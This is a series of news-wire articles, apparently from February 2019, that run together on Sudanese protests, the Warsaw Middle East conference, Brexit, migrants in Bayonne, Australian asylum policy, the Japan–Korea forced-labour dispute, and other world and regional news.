A network of Sudanese journalists said Wednesday that police forces detained for hours at least 17 journalists who joined a protest on Tuesday in front of Information Ministry in Khartoum. It said in a statement the detained journalists were released late Tuesday.

Hundreds of demonstrators gathered Tuesday in different Sudanese cities including the capital, Khartoum. Video footage showed demonstrators gathering at intersections chanting just fall, and calling for a peoples revolution.

The protests, called for by professional and opposition groups, are part of a wave of unrest over a failing economy that has transformed into demands for the resignation of the autocratic al-Bashir, an Islamist who has run the country for nearly 30 years but brought little improvement to his people.

The Sudanese Professionals Association, an umbrella group of independent professional unions, which organizes the protests, called for another march on Thursday to the presidential palace to demand the ouster of al-Bashir.

The countrys intelligence and security officials, along with Bashir, insist that the rallies are the work of what they describe as evil foreign powers, and have vowed to stop them.

Al-Bashir, who seized power in an Islamist-backed military coup in 1989, insists that only elections, which he intends to take part in, will result in change. Wanted for genocide by the International Criminal Court, al-Bashir has repeatedly warned that the protests could plunge Sudan into the kind of chaos convulsing other countries in the region.

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Activists say at least 57 people have been killed in the protests. An estimated 2,000 protesters have also since been wounded, many shot in the eye with birdshot and some losing limbs from live ammunition, according to activists, who spoke on condition of anonymity for fear of reprisals.

The governments latest tally stands at 30 killed and about 400 wounded, but these figures have not been updated in days.WARSAW, Poland - The Latest on the international conference on the Middle East (all times local):

7:30 p.m.

Israels prime minister says he plans on working with Arab countries at a U.S.-backed Mideast conference in Warsaw to focus on the common interest of war with Iran.

Benjamin Netanyahu spoke to reporters Wednesday shortly after meeting Omans foreign minister, Yusuf bin Alawi, on the sidelines of the conference.

Netanyahu said the meeting was significant because it was a rare, open gathering with Arab representatives that are sitting down together with Israel in order to advance the common interest of war with Iran.

The belligerent comments went further than Netanyahus usual warnings about Iran. Officials in his office didnt return messages seeking clarification.

The U.S. has billed the conference as a gathering about regional peace and security. But Netanyahu and Gulf countries are eager to focus on Iran.

___

6:30 p.m.

U.S. Vice-President Mike Pence has accused Russia of seeking to divide the Western alliance with its energy reserves, nuclear weapons and its efforts to meddle in elections across Europe and around the world.

Pence made his remarks Wednesday in Warsaw, where he began a four-day visit to Europe. Earlier in the day he met with hundreds of Polish troops and U.S. soldiers serving in the country.

The visit comes as Poland is seeking a permanent U.S. base on its soil due to fears of a resurgent Russia.

In remarks to reporters after a meeting with Polish President Andrzej Duda, Pence acknowledged Polish fear, saying that no threat looms larger in Poland than the spectre of aggression from your neighbour to the east.

He said: Moscow seeks to divide our alliance, with its oil and gas reserves, with its new arsenal of nuclear weapons, and with its efforts to meddle in elections across Europe and around the world.

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5:25 p.m.

Iran says a U.S.-sponsored conference taking place in Warsaw is an attempt by the United States to demonize the countrys role in the Middle East and to undermine the U.N. Security Council..

The Iranian government issued what it called a non-paper on Wednesday that said the Trump administrations malicious intentions for the ministerial meeting were clear even though a high-ranking Polish representative assured Tehran the gathering is not intended to be targeting Iran.

Irans U.N. Mission shared the paper with The Associated Press.

It says the meetings intended goals and biased agenda are likely to escalate the distrust, chaos, crisis and conflict in the region, which is already deeply suffering from multiple tragic catastrophes.

The conference is starting amid uncertainty over its aims and questions about what it will deliver.

The Trump administration initially billed it as an Iran-focused meeting. Organizers have broadened the scope to include issues such as the Israeli-Palestinian conflict and the fight against the Islamic State group.

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4:25 p.m.

Israels prime minister has held a rare public meeting with the foreign minister of the Gulf Arab state of Oman at a U.S.-sponsored Mideast conference in Poland.

In a video released by Prime Minister Benjamin Netanyahus office, the Omani foreign minister, Yusuf bin Alawi, said people in the Middle East have suffered a lot because they stick to the past. He said Wednesdays meeting reflects a new era for the region.

Netanyahu paid a surprise visit to Oman in November, calling it a courageous decision by the countrys sultan to invite him.

Netanyahu frequently boasts of warming behind-the-scenes contacts with Arab leaders, who very rarely appear in public with the Israeli prime minister.

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Netanyahu said many are following Omans lead, and, may I say, including at this conference.

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3:10 p.m.

U.S. President Donald Trumps lawyer and former mayor of New York City Rudy Giuliani has called on a conference on the Middle East to take a firm stance on Iran to press its government to adopt a democratic course.

Giuliani spoke Wednesday in Warsaw to a few hundred participants at a protest by the National Council of Resistance of Iran, also known as the Mujahedeen-e-Khalq, an Iranian exile group. He spoke just hours before an international conference on the Middle East opens in Warsaw.

He said he hoped the conference, just like the U.S. government, will be firm on Iran so that we dont do business with them, so that we isolate them, so that we do the best that we can to get them to change their policies, and if they dont change their policies, to change the regime.

He stressed to reporters he was speaking in a personal capacity.

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2 p.m.

U.S. Vice-President Mike Pence has arrived in Poland, starting a four-day visit to Europe in which he will take part in international conferences and visit the former Nazi German death camp of Auschwitz.

He landed at Warsaw airport in the early afternoon on Wednesday and was to meet in a hanger there with American and Polish troops.

In Warsaw, he will visit historic sites associated with World War II and take part in a conference Thursday on the Middle East. He will visit Auschwitz Friday and will then head to the Munich Security Conference.

His stop in Poland comes as Poland lobbies Washington for a permanent U.S. base on its soil.

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12:30 p.m.

The United States and Poland are kicking off an international conference on the Middle East amid uncertainty over its aims and questions about what it will deliver.

Initially it was billed by President Donald Trumps administration as an Iran-focused meeting. The organizers have significantly broadened its scope to include the Israeli-Palestinian conflict, the fight against the Islamic State group, Syria and Yemen. The shift was designed in part to boost participation after some invitees balked at an Iran-centric event when many in Europe are trying to save the 2015 Iran nuclear deal after last years U.S. withdrawal.

Yet the agenda for the discussions contains no hint of any concrete action that might result. Many of the roughly 60 countries participating will be represented at levels lower than foreign minister.WARSAW, Poland - Israels prime minister on Wednesday sent out a belligerent rallying cry to his Arab partners at a U.S.-backed Mideast conference, saying he planned to focus on the common interest of confronting Iran.

Netanyahu made the comments during an off-the-cuff interview with reporters on a Warsaw street, shortly after meeting Omans foreign minister.

He has long used tough language against Iran. But his latest comments, which appeared to include a call for war, went beyond his standard rhetoric. Netanyahus office later issued a clarification, saying his remarks had been mistranslated.

The meeting with Foreign Minister Yusuf bin Alawi was a rare public appearance by an Arab leader with Netanyahu, who frequently boasts of warming behind-the-scenes ties with the Arab world.

From here I am going to a meeting with 60 foreign ministers and envoys of countries from around the world against Iran, Netanyahu said.

What is important about this meeting  and this meeting is not in secret, because there are many of those  is that this is an open meeting with representatives of leading Arab countries, that are sitting down together with Israel in order to advance the common interest of war with Iran, he added.

Netanyahu considers Iran to be Israels greatest threat, citing its frequent calls for Israels destruction, its suspect nuclear program and support for militant groups across the region.





Although Netanyahu used the Hebrew word milchama, or war, his office later changed its official translation and said he was referring to a common interest of combatting Iran.

The U.S. has billed the conference in Warsaw as a meeting about peace and security in the Middle East. But Israel and the Gulf Arab countries are eager to keep the focus on their shared foe, Iran.

Netanyahu considers Iran to be Israels greatest threat, citing its frequent calls for Israels destruction, its suspect nuclear program and support for militant groups across the region. Israel has been active in recent months attacking Iranian targets in neighbouring Syria.PARIS - French wine and spirits exporters say they are in a total fog over Brexit.

With less than two months before Britains scheduled departure from the European Union, the head of the French federation of exporters of wines and spirits warned Wednesday of the damage that an exit without an agreement would cause.

It could simply destroy the purchasing power of the consumers, Antoine Leccia told The Associated Press on the sidelines of a news conference. There could be a fall of the pound, and we know that in our sectors, the currency fluctuation can have an impact on sales.

The federation said French wine and spirits exports to Britain amounted to 1.3 billion euros in 2018, down 0.6 per cent from the previous year. Revenue from exports overall continued to rise, reaching a record of 13.2 billion euros.

British Prime Minister Theresa May urged lawmakers this week to give her more time to rework a divorce agreement with the EU. If no deal is approved by the British and European parliaments before March 29, the U.K. faces a messy sudden Brexit.

We are in the total fog, thats the appropriate word, Leccia said. We dont know where were heading to, nobody knows what can happen.

Leccia said a hard Brexit would slow some 200 trucks crossing the Channel every day and hurt trade. He also warned about new import taxes that could be implemented.

If tomorrow we restore the borders, customs fees will have to be paid by the wine industry, he said.

According to the federation, Britain is Frances second biggest market for spirits and wine exports and France imports a large quantity of British spirits.

___

Catherine Gaschka in Paris contributed to this report.BAYONNE, FRANCEThe government in Paris disapproves. But the local mayor doesnt care. He says he will continue sheltering the Africans crossing the Spanish border into France.

For Jean-Rene Etchegaray, mayor of Bayonne, a quiet and refined city in the French Basque Country, 22 miles from the border, it is a matter of necessity and humanitarian obligation.

Since Italy all but closed its borders to migrants and France has tried to close its border to migrants coming from Italy, Spain has become the prime gateway into Europe for migrants from Africa, with more than 57,000 arriving last year.

Many are now crossing into France and transiting through Bayonne, a place where everything is reasonable, Stendhal wrote in the mid-19th century.

But what Etchegaray sees as his reasonable stance has put him at war with the government of President Emmanuel Macron, even as the mayor has become a case study in the front-line management of Europes migration crisis and its contradictions.

The mayor doesnt necessarily want these young men, predominantly from French-speaking West African countries like Guinea, Mali and Ivory Coast, hanging around forever. He also doesnt want them camping out on his streets of tall, old, half-timbered Basque houses nestled along slow-moving rivers.

But he wants the migrants to exist, while in his city, in a condition of dignity, as he put it. I dont think I can do less, he said.

So Etchegaray took the young men off the streets, requisitioned an old military barracks near the train station, put camp beds in it, brought in hot meals and keeps the place heated.

The young men greet him warmly when he shows up, several times a day.

Good man, said one of his temporary guests, Abdul Sylla, a 29-year-old from Guinea who harbours vague hopes of studying. Close to the people.

Official France keeps wagging its finger at the citys mayor.

It is absolutely out of the question that the state would give the slightest aid to the mayors shelter, Gilbert Payet, who until recently was Macrons regional representative for the Interior Ministry, testily told local reporters last month.

The mayor was unfazed.

I saw that the frontiers were closing, and as far as Im concerned, there are some fundamental rights that cant be trampled on, Etchegaray said, evoking Bayonnes heritage as a refuge for Jews fleeing the Spanish Inquisition and as the birthplace of great Jewish jurist Rene Cassin, who helped draft the Universal Declaration of Human Rights.

The French states attitude toward the mayor illustrates Macrons own ambiguities on the subject of migration.

On the one hand, he has exalted Frances humanitarian traditions and asked police to treat migrants with fairness.

On the other, his government has refused admission to migrant ships, put migrant rights advocates on trial and boasted about how many foreigners have been expelled or turned back at frontiers.

The Italians have angrily accused the French of hypocrisy, and Etchegaray has used the same word.

The prefect said, No, no, no, no, no, no!  recalled Maite Etcheverry, a young volunteer who runs the shelter in Bayonne.

But the mayor merely carried on  distributing blankets; inquiring about the migrants well-being; and paying for the centre out of the budget of the local agglomeration of towns which he runs.

They said, Youre just going to create a pull factor for even more migrants,  Etchegaray said with a laugh during an interview in his office here this past week.

They said, Youre going to create another Calais,  he said, referring to squalid encampments in northern France, since demolished, where thousands of migrants waited in mud, cold and misery, hoping to get to England.

So far, it hasnt turned out that way.

I dont feel Im doing anything contrary to the law, Etchegaray said mildly.

Look, Im not some kind of radical crazy person, he continued, noting that most migrants stay a few days then move on.

He even moved a bus stop for low-cost travel services in front of the shelter, to make it easier for migrants to leave. And he went to war with the bus company because its drivers were demanding, illegally, that the Africans produce identity papers.

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We are the only squatters in France supported by City Hall, Etcheverry said, grinning.

That mayor, hes in deep against the prefect and visibly against the interior minister, said Etcheverry, a law student. Its really kind of extraordinary.

A self-described radical pro-Basque independence leftist, she has found herself in political opposition to the 66-year-old centre-right mayor before. Not this time.

The migrants come and go at the centre all day, most often arriving in inconspicuous cars with traffickers. Local police say the seedy district around the train station in the nearby Spanish border city of Irun has become a hive of trafficking.

One recent day, a group of six young African men with backpacks hurried in single file across a plaza in Irun and down a flight of stairs.

They were bundled into a waiting car that quickly drove off. Watching from the plaza above were several spotters talking furtively into their phones. All of it happened right under the noses of a group of Spanish police officers 20 yards away who did not stir.

French and Spanish officers wait on opposite sides of a bridge crossing the river that separates Spain and France in this corner. The border is open, unless you are a migrant  in which case you might get stopped, checked and sent back.

If the migrants make it to the shelter in Bayonne, however, they have a temporary refuge.

Local police do not enter the courtyard that was converted into the shelter, where a long, low hall is staffed with volunteers and stocked with donations of food and clothing. The young men staying there play Scrabble or lie quietly on camp beds, grateful that the worst seems behind them.

I never want to see the sea again, said Ibrahima Doumbia, a young Guinean who crossed the Mediterranean by boat. I had the fright of my life.

With the arrival of cold weather in the fall, Etchegaray knew the growing migrant population in Bayonne could no longer stay in one of the citys main squares, where people had been camping out.

It was cold and raining, Etchegaray said. We couldnt leave them there anymore. They were cold, sick and hungry.

The mayor formed plans for the initiative quickly. He came directly to the square, Etcheverry recalled, adding that she remembered him saying, Ill be back in a half-hour.

When he returned, he led volunteers and migrants to an underground parking lot for municipal police  a temporary solution until something better could be found.

He accompanied them and showed them where the toilets were, Etcheverry recounted. He saw that they were quiet, and that we were just young people helping other young people. But we never imagined that it would end like this, in a center financed by the municipality.

It is a mayors duty, Etchegaray said.

The state just doesnt want to know, he added. But me, Ive got to know. And this was an emergency.

Read more about:SYDNEY  The Australian Parliaments lower house Tuesday narrowly passed legislation that would let some asylum-seekers being held on remote Pacific islands come to Australia for medical treatment, a blow to Prime Minister Scott Morrison, who had strongly opposed the measure.

Under Australias offshore detention policy, asylum-seekers who try to reach the country by boat are barred from ever settling there. About 1,000 migrants intercepted at sea have spent years on the tiny island nation of Nauru or on Manus Island in Papua New Guinea, under conditions that visiting experts have described as dire.

The detention policy has been condemned by the United Nations and various human rights groups, and Australians who oppose it celebrated the 75-74 vote in the House of Representatives on Tuesday. The legislation now goes to the Senate, which passed an earlier version of it last year.

Its a win before humanity; it shows what happens when people are put before politics, said Jana Favero, a director at the Asylum Seeker Resource Center, who supported the bill. She added, Its taken a lot of suffering to get here.

Morrisons center-right governing coalition lost its single-seat majority in the House last year, and the vote Tuesday appeared to be the first time since 1941 that a government had lost a vote on legislation in that chamber. With elections expected in May, Morrisons coalition is trailing the opposition Labor Party in most polls.

Medical experts have described the situation for the detainees on Manus and Nauru as nearing a crisis point. This month, the government said that all child asylum-seekers would leave the detention centre in Nauru, after doctors said that children there were showing signs of extreme withdrawal from reality.

Since 2014, 12 people have died in the offshore detention centres. In 2018, a coroner ruled that a more timely medical transfer could have prevented the death of Hamid Khazaei, an Iranian asylum-seeker detained on Manus, from a leg infection.

But Morrisons government says the detention policy has saved lives by discouraging asylum-seekers from trying to make the dangerous sea voyage from Indonesia. Before the policy was introduced in 2013, overcrowded boats often capsized while trying to reach Australia.

I will not stand here and have this Parliament give itself an excuse to weaken the borders protection framework that has saved lives, Morrison said in Canberra, the capital, before the vote Tuesday.

His government argued that the bill was a step toward ending the detention policy and that some of the asylum-seekers would be a security threat if allowed into the country. The legislation that passed Tuesday included a number of amendments added to assuage such concerns.

It says that asylum-seekers and their families can be brought to Australia for medical treatment if two or more doctors say it is needed. But the home affairs minister can reject the request. An independent medical panel would review that decision, but the minister can still refuse the medical transfer on national security grounds, or if the asylum-seeker has a serious criminal record.

Morrison said the vote showed that the Labor Party could not be trusted with Australias security. The Labor Party backed the medical transfer legislation but supports the broader offshore detention policy.

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Behrouz Boochani, a Kurdish-Iranian writer who has been on Manus Island for more than five years, welcomed the vote on Twitter.

Many people are happy now because they will finally receive medical treatment, Boochani said. Great to see the Australian parliament finally vote for humanity.SEOUL, SOUTH KOREAUntil recently, few had heard of PNR, a company in South Korea that turns sludge from steel mills into iron. Then a 94-year-old man named Lee Chun-shik tried to settle an old debt.

Lee grew up during the Japanese occupation of Korea and as a teenager he was taken to Japan and forced to work for a steelmaker, essentially as slave labour. Today, that steelmaker is Japans largest, Nippon Steel & Sumitomo Metal, with assets around the world, including $9.6 million (U.S.) worth of shares in PNR.

Lee asked a court in South Korea to seize some of those shares as compensation for what he endured so long ago  and the court did so last month.

The ruling is now at the centre of a bitter dispute that has called into question the foundation of diplomatic ties between the United States top allies in Asia, driving them apart even as Washington is trying to build a united front against Chinas rise and a nuclear-armed North Korea.

The countries have also traded heated accusations over encounters between their armed forces. In December, Japan said a South Korean warship had locked targeting radar on a Japanese military plane. Seoul denied the charge and accused Japan of sending low-flying planes over its naval ships.

The spike in tensions has unsettled many who see co-operation between Japan and South Korea  which both host U.S. bases  as vital to stability in the region.

Read more:

Japan cancels port call by warship in South Korea amid row

Seoul accuses Japanese patrol plane of threatening flight

Flag controversy dampens ties between Japan and S. Korea

In October, the Supreme Court of South Korea ordered Nippon Steel to pay $89,000 each to Lee and the families of three other plaintiffs. A lower court ordered the PNR shares seized in January.

The Supreme Court followed up with two similar judgments in November against Mitsubishi Heavy Industries. At least a dozen cases involving 70 Japanese companies  including Toshiba, Panasonic and Nissan  are pending in lower courts, which have begun to rule in favour of the plaintiffs.

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Japan has responded with outrage, pointing to wording in the 1965 treaty that describes all claims arising from the colonial era as settled completely and finally. Prime Minister Shinzo Abe warned South Korea not to enforce what he called impossible judgments, hinting at economic retaliation if it does.

South Koreas president, Moon Jae-in, replied that Japans leaders were escalating tensions for political reasons.

Read more about:ISLAMABAD - Pakistan said Wednesday that Saudi Arabias Crown Prince Mohammed bin Salman will arrive in Islamabad later this week on an official visit that is expected to include the signing of agreements for billions of dollars of investment in the South Asian country.

Pakistans Foreign Ministry said the prince would meet with Prime Minister Imran Khan during the two-day visit, which begins Saturday. It will be the crown princes first visit to Pakistan since he was appointed heir to the throne in 2017.

Pakistan voiced support for the prince during the international outcry after the killing of Washington Post columnist Jamal Khashoggi by Saudi agents. The kingdom has long provided aid to Pakistan, and signed an agreement for a $6 billion assistance package after Khan attended an investment conference in October that saw a wave of cancellations linked to the Khashoggi killing.

Pakistan is in the grip of a major debt crisis, and is seeking a multi-billion-dollar bailout from the International Monetary Fund.

Khashoggi, who had written critically about the prince, went missing on Oct. 2 after entering the Saudi Consulate in Istanbul. After denying any knowledge of his death for weeks, Saudi authorities eventually settled on the explanation that he was killed in an operation aimed at forcibly bringing the writer back to the kingdom. Saudi prosecutors say the plan was masterminded by two former advisers to the crown prince.

The kingdom denies the crown prince knew of the plot. The U.S. Senate, however, passed a unanimous resolution in December saying it believes the crown prince is to blame for the murder.

At a news conference Wednesday evening, Pakistan Foreign Minister Shah Mahmood Qureshi said he hoped Saudi Arabia will make a huge and extraordinary investment in Pakistan as a result of this visit. He said Pakistans relations with Saudi Arabia have witnessed improvement in recent months.

Khans adviser for commerce, Abdul Razzak Dawood told reporters he expects a $7 billion Saudi investment in the country in the next two years and that agreements will be signed between Pakistan and Saudi Arabia when the Saudi crown prince visits Pakistan.

Pakistan has close ties to neighbouring Iran, Saudi Arabias main regional rival, and maintains a balancing act between the two.

Qureshi said retired Pakistani Gen. Raheel Sharif, who heads a 39-member Saudi-led military alliance, told him ahead of Prince Mohammads visit that the coalition was not formed against any particular region or country.

Pakistan declined to join the Saudi-led coalition waging war on Iran-aligned rebels in Yemen.MALE, Maldives - The prosecutors office of the Maldives says that it has charged the countrys former president with money laundering.

In a Twitter message Wednesday the prosecutor generals office says that it has filed the charges against Yameen Abdul Gayoom at the countrys criminal court.

This follows police investigations into $1 million allegedly coming through a shady deal from leasing islands for tourist resort development being found in Yameens bank account. Police completed investigations last week and asked the prosecutor general to press charges.

Yameen lost the presidential election last September after a five-year term during which he was accused of corruption, misrule and curtailing freedoms.

Maldives is known for its expensive island resorts.SRINAGAR, India - At least 25 high school students were injured by an explosion in their classroom in Indian-controlled Kashmir on Wednesday, police and medics said.

The blast occurred in a 10th grade classroom in a school in the southern Kakapora area, said senior police officer S.P. Pani. He said police are investigating the explosive and how it got into the classroom.

Medics at two hospitals said they treated at least 25 injured students, and that most have since been discharged. They said none had life-threatening injuries.

We heard a blast and we thought an electrical transformer blew up, school principal Javaid Ahmed told reporters. Suddenly we saw students crying and calling out for help.

In the past, some civilians, mainly young boys, have died or been injured while playing with explosives found at the sites of gunbattles between rebels and Indian troops in the disputed Himalayan region.

India and Pakistan each claim Kashmir in its entirety. Rebels have been fighting against Indian control since 1989.

Most Kashmiris support rebel demands that the territory be united, either under Pakistani rule or as an independent country, while also participating in civilian street protests against Indian control.

About 70,000 people have been killed in the uprising and the ensuing Indian crackdown.A French tourist who was arrested last week after allegedly flying a drone near Burmas Parliament could face up to three years in prison under the countrys strict laws on unmanned aerial vehicles.

The Frenchman, Michel Desclaux, 27, could be charged with bringing a drone into the country illegally as well as flying one in a restricted area, said Min Tin, a police official in Burmas capital, Naypyitaw. An image of Desclauxs passport circulating in the Burmese media gave his first name as Arthur.

Burmas tough restrictions on drones have prompted complaints that visitors who want footage of scenic areas can easily find themselves in violation of the law. Drones are banned over many parts of the capital; in much of Rangoon, Burmas largest city; and near a palace in Mandalay.

They also cannot be flown near airports, over gatherings of people or on or near private property without permission.

Under the flight restrictions, Desclaux could face up to three months in prison. The law restricting the importing of drones carries a potential sentence of up to three years.

Some critics say the rules should be more widely advertised to visitors, who may be unaware of them.

In some places in Burma, you cant fly drones, but the country should have put up notices, said Ye Tun Aung, who sells drones in Mandalay, adding that the countrys airports do not have sufficient warnings about the prohibition on bringing in drones.

A small sign on the gate to Burmas Parliament where Desclaux was arrested explains that drones are banned there, but it is in the Burmese language, with only the word drone in English.

In 2017, two foreign journalists, a Burmese journalist and their driver were arrested while flying a drone in Naypyitaw. Their arrest was condemned by advocates of media freedom as an example of Burmas government using criminal investigations to thwart critical news coverage.

The journalists had been working on a documentary for Turkish state television, shortly after President Recep Tayyip Erdogan of Turkey had criticized the countrys military-led crackdown on the Rohingya minority as genocide.

The journalists  Mok Choy Lin, a reporter from Malaysia; Lau Hon Meng, a cameraman from Singapore; Ko Aung Naing Soe, a Burma journalist; and Hla Tin, their driver  served two-month prison terms, but authorities dropped plans to charge the two foreigners with an immigration violation and all four with import violations.

Drones have caused havoc for international travel in recent months. In December, more than 1,000 flights were cancelled or diverted from Gatwick Airport near London after drones were reported near the runway. Police said they did not know who had flown the drone or drones in the area or why.

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Read more about:MARACAY, Venezuela - It was show time for the most-watched program on Venezuelas normally sleep-inducing state TV: Episode No. 240 of Hitting it With a Sledgehammer, the talk show hosted by one of the ruling socialist partys most-revered  and reviled  leaders.

A military salsa band playing pro-government songs stirred up a live audience of several thousand state employees, pilot cadets and ideological die-hards.

Then Diosdado Cabello, sporting an army camouflage jacket, walked onto a stage bedecked in socialist party red to the ear-splitting thunder of a 1970s Venezuelan revolutionary anthem, Open the Door.

For government supporters attending last weeks program at an aviation academy in the central city of Maracay, the enthusiasm for Cabello, who the U.S. and European Union have sanctioned for human rights abuses and corruption, bordered on Elvis Presley-like idolatry.

A pregnant woman, with the words Venezuela is mine scribbled in red lipstick across her bared belly, stomped her feet and waved her arms above her head in unison with the human wave moving across the packed bleachers. Some held up signs reading Yankee Go Home! and Always Loyal.

The Wednesday night show, which this week celebrates its fifth year on the air, is produced with a military-like precision and the latest in technology.

But there was nothing staged about the enormous energy that lasted until nearly 1 a.m., when Cabellos five-hour televised monologue finally ended last week.

The European Union should worry about its own affairs, declared Cabello, who heads the ruling party-dominated constitutional assembly that is charged with re-writing the nations charter and has effectively gutted the opposition-controlled congress of all authority.

Theyve got plenty of human beings theyve allowed to drown in the Mediterranean, plenty of human rights violations that occur in their countries and to which they close their eyes.

While lawmaker Juan Guaidos recognition by dozens of countries as Venezuelas rightful president has renewed the oppositions hope of gaining power after two decades of socialist rule it also has riled up President Nicolas Maduros still sizable pro-government base.

For the past five years, Cabello, a 55-year-old retired army lieutenant with strong influence over the security forces, has crisscrossed the country with his TV program, pressing the flesh with socialist party stalwarts for whom he is their torchbearer, in many ways more than Maduro.

The shows production team says it has racked up more than 47,000 miles (75,700 kilometres)  the equivalent of circling the globe twice at the equator  bringing the program to all corners of Venezuela.

Every episode carries a heavy serving of recorded footage of the late President Hugo Chavezs speeches, interviews and foreign trips  a Greatest Hits of the socialist comandantes teachings. Far less frequent are references to Maduro, a sometimes Cabello rival behind the scenes.

The show is a family affair, with Cabellos revolutionary pop singer daughter, Daniella, usually in the wings and sometimes joining her father on stage for a musical interlude.

Its also a platform to attack opponents.

Florida Republican Sen. Marco Rubio, one of Cabellos chief critics, is called Narco Rubio, and a front-row seat in the audience is sometimes left empty for Maria Violencia, his chosen smear for Maria Corina Machado, a vocal government critic.

Then there are the broadcasts of secret videos and audio recordings Cabello says are provided by co-operating patriots and reveal private conversations and meetings between government opponents.

The Inter-American Commission on Human Rights and Amnesty International are among groups that have complained about Cabellos on-air harassment and attacks of opponents, the media and local NGOs.

Cabello has responded by saying such information artillery is needed to expose plots by government opponents and their backers among foreign governments and the mainstream media.

For government supporters, its red meat and an opportunity to recharge for the battle ahead.

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Venezuela wants peace, Cabello asserted at the end of last weeks show, warning the U.S. that it was ready to fight to defend Chavez revolution. But if they try to steal our dreams of being a free, sovereign and independent nation we wont let them have any sleep and well become their worst nightmare.

__

Joshua Goodman on Twitter: https://twitter.com/APjoshgoodmanMEXICO CITY - A Mexican union leader known for his combativeness announced a new labour federation Wednesday and said 150 unions have joined, the latest sign that the countrys long-dormant labour movement might be awakening.

Miners union leader Napoleon Gomez Urrutia said the umbrella organization is called the International Labor Confederation.

Despite its name, Mexican law prohibits the federation from having foreign ties. Rather, Gomez Urrutia said, it will be a question of solidarity and strategic alliances.

He said 150 Mexican unions had already joined and others are interested in doing so, while U.S. labour groups like the AFL-CIO and steel workers have expressed their support.

Big corporations operate in multiple countries, Gomez Urrutia said, and it is time that we unions globalize ourselves as well.

Gomez Urrutia was joined at the announcement by some of Mexicos most feisty labour leaders, including Martin Esparza, head of the electrical workers union. At least one old-line labour group, the Regional Confederation of Mexican Workers, also participated, though by law it cant formally join the new federation.

For decades, average manufacturing wages stagnated at $2 an hour or less in Mexico as pro-government labour unions allied with the once-dominant Instutitional Revolutionary Party kept workers in check. But a new fighting spirit has emerged in recent weeks.

About 25,000 workers staged a mass walkout at 48 maquiladora assembly plants in the border city of Matamoros beginning in January and won 20 per cent wages hikes and bonuses. Their example has sparked wildcat walkouts at other businesses that arent unionized or belong to different federations.

Gomez Urrutia said the strikes could spread, and the new federation would support them.

As long as the conditions of exploitation continue for these workers, not just on the border but across the country, there is a risk that these conflicts will break out, he said. We will always be ready to advise and support them.

Gomez Urrutia, who is also a senator for President Andres Manuel Lopez Obradors Morena party, has been accused by some of engaging in extortionate negotiating tactics and mismanaging union funds. He calls those accusations political persecution.

The union leader praised Lopez Obradors policies, though he insisted the federation is not a branch office of the government or Morena. Asked why the new groups banners are maroon-colored, as are those of Lopez Obradors party, he said, I think that is a coincidence ... it wasnt planned that way.

Lopez Obrador has been wary of antagonizing corporate interests. But he unwittingly unleashed the Matamoros strikes by decreeing a doubling of the minimum wage in Mexicos border zones, apparently unaware that some union contracts at the maquiladora plants are indexed to minimum wage increases.KABULThe Taliban will hold a previously unexpected round of peace talks with the United States in Pakistan on Monday, ahead of scheduled meetings in the Middle Eastern state of Qatar a week later, the insurgent group said in a statement Wednesday.

The talks are aimed at finding a negotiated end to Afghanistans 17-year war. The Qatar meeting is expected to include a collection of prominent Afghan figures, many of whom attended a similar gathering in the Russian capital earlier this month.

U.S. Peace envoy Zalmay Khalilzad did not attend the Moscow meeting but was expected to head the U.S. team in Pakistan. He met earlier this week with NATO and European Union officials.

There was no immediate explanation for the previously unscheduled talks but Pakistan has been under considerable pressure to use its influence over the Taliban to press the insurgents into direct talks with Afghanistans government.

The Talibans top leadership is believed to be in Pakistan, despite repeated denials from Islamabad, which also says its influence over the insurgent force is overstated.

Until now, the Taliban has refused to talk directly to Afghan President Ashraf Ghanis government but pressure is mounting to bring them into an expanding circle of participants.

The unexpected talks in Islamabad will come on the heels of a two-day visit to Pakistan by Saudi Arabias Crown Prince Mohammed bin Salman. In January, Saudi Arabia offered to host direct talks between the Taliban and the Afghan government but the insurgents refused to attend.

Meanwhile, Ghani this week chafed at the Moscow meeting saying an intra-Afghan dialogue would be better suited to Saudi Arabia, where Islams two holiest sites of Mecca and Medina are located than the Russian capital.

While Pakistans economy is likely to dominate Islamabads talks with the Saudi Crown prince, accelerated efforts to find a negotiated end to Afghanistans 17-year war were also expected to find its way into the discussions.

The newly announced 14-member Taliban negotiation team is also expected to meet Pakistan Prime Minister Imran Khan during the one-day visit to hold comprehensive discussions about Pak-Afghan relations and issues pertaining to Afghan refugees and Afghan businessmen, the statement said. About 1.5 million Afghan refugees still live in Pakistan.

Since his appointment last September, Khalilzad has stepped up efforts to find an eventual end to Americas longest war.

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Read more about:The federal government has invested $1.5 million at Sheridan Colleges Hazel McCallion Campus in Mississauga.

The investment, from the Federal Economic Development Agency for Southern Ontario (FedDev Ontario), will go to support Sheridans innovation hub  EDGE (Entrepreneurship Discovery and Growth Engine).

Since it launched last year, EDGE has helped students become entrepreneurs. Now, with help from the funding, the hub has expanded to assisting local community entrepreneurs.

They include Ryan Knight and Derrick Fagan, who, alongside five other like-minded entrepreneurs, have created the Afro-Caribbean Business Network with EDGE as a leading partner.

The collaborative space gives young people with ideas access to mentorship, networking, skills development and financing.

Funding is the biggest barrier, Knight said. We created ACBN to meet entrepreneurs of Afro-Caribbean heritage. Now through EDGE, we can go deeper into the grassroots to help them network.

Knight and Fagan are among several entrepreneurs who have found support through EDGE.

Minister of Innovation, Science and Economic Development Navdeep Bains, the MP for MississaugaMalton, was at Sheridan College on Monday to announce the funding. He was joined by Mississauga Centre MP Omar Alghabra, Mayor Bonnie Crombie and other dignitaries, including former mayor Hazel McCallion.

Innovation is happening here in Mississauga, Bains said in an interview. People want to see an institution that not only teaches kids, but involves them in the community as well.

In his announcement, Bains said the funding will directly benefit 60 businesses, create 70 jobs and develop 80 new partnerships in Mississauga immediately. The money will go to further use as EDGE develops new mentorship programming, creates new workshops and education programs, and provides support targeted to the needs of the community.

For those with an idea, whether or not they are a student, EDGE provides the means to network and to access resources not otherwise available.

It was a struggle in Peel Region, we didnt have resources for people from our community, Fagan said of Afro-Caribbean entrepreneurs in the area. We started ACBN and it grew into much more. EDGE is one of over nine partners that we have now.

Sheridan College president Janet Morrison said the funding provides the opportunity to foster deeper collaboration among the local entrepreneurship ecosystem through the intelligent combination of expertise and resources.

EDGE started in 2017 as a collaborative initiative between Sheridan College and the City of Mississauga to strengthen the citys role in the innovation corridor (Toronto-Waterloo). The program also includes advisory support from Ryerson University for incubation programming.

The Mississauga Board of Trade, a supporter of the innovation hub, applauded the funding.

This is a great start to the much-needed support and nurturing of our valuable young innovative minds, board president and CEO David Wojtek said.

